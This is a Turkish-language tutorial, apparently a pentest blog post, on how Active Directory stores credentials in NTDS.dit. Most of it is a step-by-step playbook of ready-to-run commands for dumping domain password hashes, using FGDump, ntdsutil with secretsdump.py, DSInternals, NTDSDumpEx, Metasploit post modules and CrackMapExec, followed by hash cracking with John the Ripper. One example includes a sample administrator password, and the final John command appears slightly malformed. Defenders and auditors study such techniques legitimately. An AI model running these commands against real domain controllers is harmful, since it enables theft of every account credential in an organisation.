Windows Server'daki NTDS.dit dosyasında şifrelerin nasıl depolandığını öğrenecek ve ardından NTDS.dit dosyasından bu kimlik bilgisi karmalarının nasıl dökülebileceğini inceleyeceğiz.
Active Directory veritabanı, mantıksal olarak aşağıdaki bölümlere ayrılan tek bir NTDS.dit dosyasında saklanır:
FGDump, yerel bir döküm yapar ve şifreleri ve önbelleği başarıyla döker. Dökmüş olduğu verileri görmek için oluşturulan PWDump dosyasını okuyabiliriz.
Daha sonra bu dosyaları Kali Linux makinemize transfer edip, Impacket toolkit'ten secretsdump.py aracını kullanarak şifreleri çıkarabiliriz.
İçindekiler
- NTDS'e Giriş
- NTDS Bölümleri
- Veritabanı Depolama Tablosu
- NTDS.dit'den Kimlik Bilgisi Çıkarma Yöntemleri
- FGDump
- NTDSUtil
- DSInternals
- NTDSDumpEx
- Metasploit
- NTDS_location
- NTDS_grabber
- secretsdump
- CrackMapExec
- Karma Şifrelerin Kırılması
NTDS'e Giriş
NTDS, Yeni Teknolojiler Dizin Hizmetleri (New Technologies Directory Services) anlamına gelir ve DIT, Dizin Bilgi Ağacı (Directory Information Tree) anlamına gelir. NTDS dosyasını "C:\Windows\NTDS" yolunda bulabilirsiniz. Bu dosya, Active Directory için bir veritabanı görevi görür ve tüm verileri, kimlik bilgileri de dahil olmak üzere, burada depolar. NTDS.dit'in varsayılan boyutu 12 MB olup, 16 TB'a kadar genişletilebilir.Active Directory veritabanı, mantıksal olarak aşağıdaki bölümlere ayrılan tek bir NTDS.dit dosyasında saklanır:
- Şema Bölümü: Nesneler ve bunların öznitelikleri hakkındaki bilgileri içerir.
- Yapılandırma Bölümü: Orman ve ağaçların tüm bilgilerini içerir ve bu bilgiler tüm etki alanı denetleyicilerine çoğaltılır.
- Etki Alanı Bölümü: Etki alanı ile ilgili tüm bilgileri içerir.
- Uygulama Bölümü: Herhangi bir uygulama ile ilgili tüm ayrıntıları içerir.
Kimlik Bilgilerini Çıkarmak için NTDS.dit İstismar Yöntemleri
1. FGDump
FGDump, Windows Sistemlerinin toplu şifre denetimi için oluşturulmuş bir araçtır. Bu araç, bir saldırganın hedef makineden şifreleri çıkarmasına olanak tanır. FGDump'ı indirdikten sonra, indirdiğimiz dizine giderek komut istemcisinden çalıştırıyoruz.
Kod:
fgdump.exe
FGDump, yerel bir döküm yapar ve şifreleri ve önbelleği başarıyla döker. Dökmüş olduğu verileri görmek için oluşturulan PWDump dosyasını okuyabiliriz.
Kod:
type <pwdump dosya adı>
2. NTDSUtil Kullanarak Güvenlik ve Sistem Hive Dosyalarını Çıkarma
PowerShell kullanarak NTDSUtil komutunu çalıştırabilir ve Active Directory veritabanından NTDS.dit, SYSTEM ve SECURITY hive dosyalarını çıkarabiliriz.
Kod:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
Daha sonra bu dosyaları Kali Linux makinemize transfer edip, Impacket toolkit'ten secretsdump.py aracını kullanarak şifreleri çıkarabiliriz.
Kod:
./secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL
3. DSInternals ile NTDS.dit Dosyasını Okuma
DSInternals, Michael Grafnetter tarafından AD güvenlik denetimleri için tasarlanmış bir framework'tür. Bu framework, PowerShell'den indirilebilir ve yüklenebilir. İlgili modülleri yükledikten sonra, Get-BootKey komutuyla SYSTEM hive dosyasından önyükleme anahtarını çıkartabiliriz ve bu anahtarı kullanarak NTDS.dit dosyasından kullanıcı verilerini çekebiliriz.
Kod:
Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules
Set-ExecutionPolicy Unrestricted
Import-Module DSInternals
Get-BootKey -SystemHivePath 'C:\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey <bootkey değeri>
4. NTDSDumpEx
Dış bir araç olarak NTDSDumpEx kullanabiliriz. NTDS.dit dosyasını ve Sistem Hive dosyasının yolunu belirterek hızlıca kullanıcı karmalarını elde edebiliriz.
Kod:
NTDSDumpEx.exe -d C:\ntds.dit -s C:\SYSTEM
5. Metasploit Kullanarak Uzaktan NTDS.dit Dosyasını Ele Geçirme
Metasploit'te, NTDS.dit dosyasını bulmak için NTDS_location ve NTDS_grabber exploitlerini kullanabiliriz. İlgili exploitleri kullanarak NTDS.dit dosyasının yerini belirleyip, gerekli dosyaları sıkıştırılmış bir formatta elde edebiliriz.
Kod:
use post/windows/gather/ntds_location
set session 1
exploit
use post/windows/gather/ntds_grabber
set session 1
exploit
6. CrackMapExec Kullanarak Karma Dökümü
CrackMapExec, Active Directory verilerini toplamak için kullanılan güçlü bir araçtır. Bu araçla NTDS.dit dosyasını manipüle ederek şifre karmalarını dökebiliriz.
Kod:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
7. Karma Kırma
Elde ettiğimiz karmaları kırmak için John the Ripper gibi araçları kullanabiliriz. Örneğin:
Kod:
john --format=NT hash --show



